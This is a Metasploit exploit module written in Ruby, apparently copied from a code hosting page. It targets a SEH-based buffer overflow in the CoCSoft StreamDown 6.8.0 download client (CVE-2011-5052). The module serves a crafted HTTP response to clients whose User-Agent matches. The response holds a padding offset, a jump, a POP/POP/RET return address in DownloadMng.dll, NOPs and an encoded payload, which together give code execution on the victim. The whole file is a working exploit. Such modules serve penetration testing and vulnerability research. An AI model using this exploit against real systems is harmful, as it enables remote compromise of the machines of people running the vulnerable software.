78 lines
2.2 KiB
Ruby
78 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CoCSoft StreamDown 6.8.0 Buffer Overflow',
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'Description' => %q{
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Stream Down 6.8.0 seh based buffer overflow triggered when processing
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the server reponse packet.During the overflow a structured exception
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handler is overwritten.
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},
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'Author' => 'Fady Mohamed Osman <fady.mohamed.osman[at]gmail.com>',
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'References' =>
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[
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['CVE', '2011-5052'],
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['OSVDB', '78043'],
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['BID', '51190'],
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['URL', 'http://www.dark-masters.tk/'],
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['URL', 'http://secunia.com/advisories/47343/'],
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['EDB', '18283']
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'BadChars' => "\x00\xff\x0a"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'StreamDown 6.8.0',
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{
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'Offset' => 16388,
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'Ret' => 0x10019448 #POP/POP/RET in DownloadMng.dll
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}
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],
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],
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'DisclosureDate' => 'Dec 27 2011', # as an actual security bug
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'DefaultTarget' => 0,
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'License' => MSF_LICENSE
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))
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end
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def on_request_uri(cli,request)
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vprint_status("Requested: #{request.uri}")
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# No point to continue if the client isn't what we interested in
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ua = request.headers['User-Agent']
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if ua !~ /CoCSoft Stream Download/i
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print_error("Target not supported: #{ua}")
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send_not_found(cli)
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return
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end
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nseh = "\xeb\x06" + rand_text_alpha(2)
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seh = [target.ret].pack('V')
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offset_to_nseh = target['Offset']
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nops = make_nops(10)
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sploit = rand_text_alpha(offset_to_nseh) + nseh + seh + nops + payload.encoded
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cli.put(sploit)
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close_client(cli)
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end
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end
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